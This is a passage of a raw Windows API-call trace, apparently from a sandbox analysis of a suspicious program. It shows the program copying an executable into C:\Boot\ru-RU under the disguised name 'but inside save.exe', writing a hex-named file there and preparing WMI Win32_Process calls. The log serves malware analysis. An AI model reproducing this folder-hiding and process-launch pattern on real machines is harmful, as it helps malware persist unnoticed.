ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xce3b5a40, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x795b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0130.543] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0130.543] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0130.543] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0130.544] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0130.544] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0130.544] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0130.544] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0130.544] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0130.544] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0130.544] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0130.544] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0130.544] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.544] FindClose (in: hFindFile=0x1a9d89c0 | out: hFindFile=0x1a9d89c0) returned 1 [0130.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0130.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0130.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0130.545] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU", lpFilePart=0x0) returned 0xd [0130.546] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*" (normalized: "c:\\boot\\ru-ru\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d89c0 [0130.549] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.549] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.549] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.549] FindClose (in: hFindFile=0x1a9d89c0 | out: hFindFile=0x1a9d89c0) returned 1 [0130.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0130.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0130.552] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU\\but inside save.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU\\but inside save.exe", lpFilePart=0x0) returned 0x21 [0130.552] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0130.552] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU\\but inside save.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU\\but inside save.exe", lpFilePart=0x0) returned 0x21 [0130.552] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\Boot\\ru-RU\\but inside save.exe" (normalized: "c:\\boot\\ru-ru\\but inside save.exe"), bFailIfExists=0) returned 1 [0130.634] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU\\e76e23195dba9d", nBufferLength=0x105, lpBuffer=0x1bb7e420, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU\\e76e23195dba9d", lpFilePart=0x0) returned 0x1c [0130.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e938) returned 1 [0130.635] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\e76e23195dba9d" (normalized: "c:\\boot\\ru-ru\\e76e23195dba9d"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x350 [0130.635] GetFileType (hFile=0x350) returned 0x1 [0130.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e8a8) returned 1 [0130.635] GetFileType (hFile=0x350) returned 0x1 [0130.636] WriteFile (in: hFile=0x350, lpBuffer=0x27dece0*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x1bb7e978, lpOverlapped=0x0 | out: lpBuffer=0x27dece0*, lpNumberOfBytesWritten=0x1bb7e978*=0x101, lpOverlapped=0x0) returned 1 [0130.637] CloseHandle (hObject=0x350) returned 1 [0130.639] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0130.639] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0130.639] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0130.639] IUnknown:Release (This=0x1a943398) returned 0x1 [0130.641] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbb39d0) returned 0x0 [0130.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbb39d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0130.641] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbb39d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0be50) returned 0x0 [0130.641] WbemDefPath:IUnknown:Release (This=0x1bbb39d0) returned 0x0 [0130.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0be50) returned 0x0 [0130.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0130.642] WbemDefPath:IUnknown:AddRef (This=0x1aa0be50) returned 0x3 [0130.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0130.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0130.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbb3a10) returned 0x0 [0130.642] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbb3a10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.642] WbemDefPath:IUnknown:Release (This=0x1bbb3a10) returned 0x3 [0130.647] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0130.647] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0130.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0130.647] WbemDefPath:IUnknown:Release (This=0x1aa0be50) returned 0x2 [0130.647] WbemDefPath:IUnknown:Release (This=0x1aa0be50) returned 0x1 [0130.647] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0130.647] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0130.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0be50) returned 0x0 [0130.647] WbemDefPath:IUnknown:AddRef (This=0x1aa0be50) returned 0x3 [0130.647] WbemDefPath:IUnknown:Release (This=0x1aa0be50) returned 0x2 [0130.647] WbemDefPath:IWbemPath:SetText (This=0x1aa0be50, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0130.647] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0be50, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0130.648] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0be50, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0130.648] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0be50, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0130.648] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0be50, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0130.648] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0be50, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0130.648] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0be50, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0130.648] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0130.648] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0130.648] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0130.648] IUnknown:Release (This=0x1a943398) returned 0x1 [0130.650] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbb3a50) returned 0x0 [0130.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbb3a50, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0130.650] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbb3a50, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0bf10) returned 0x0 [0130.650] WbemDefPath:IUnknown:Release (This=0x1bbb3a50) returned 0x0 [0130.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bf10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0bf10) returned 0x0 [0130.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bf10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0130.651] WbemDefPath:IUnknown:AddRef (This=0x1aa0bf10) returned 0x3 [0130.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bf10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0130.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bf10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0130.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bf10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbb3a90) returned 0x0 [0130.651] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbb3a90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.651] WbemDefPath:IUnknown:Release (This=0x1bbb3a90) returned 0x3 [0130.651] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0130.651] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0130.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bf10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0130.652] WbemDefPath:IUnknown:Release (This=0x1aa0bf10) returned 0x2 [0130.652] WbemDefPath:IUnknown:Release (This=0x1aa0bf10) returned 0x1 [0130.652] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0130.652] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0130.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bf10, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0bf10) returned 0x0 [0130.652] WbemDefPath:IUnknown:AddRef (This=0x1aa0bf10) returned 0x3 [0130.652] WbemDefPath:IUnknown:Release (This=0x1aa0bf10) returned 0x2 [0130.652] WbemDefPath:IWbemPath:SetText (This=0x1aa0bf10, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0130.652] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bf10, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0130.652] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0130.652] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, 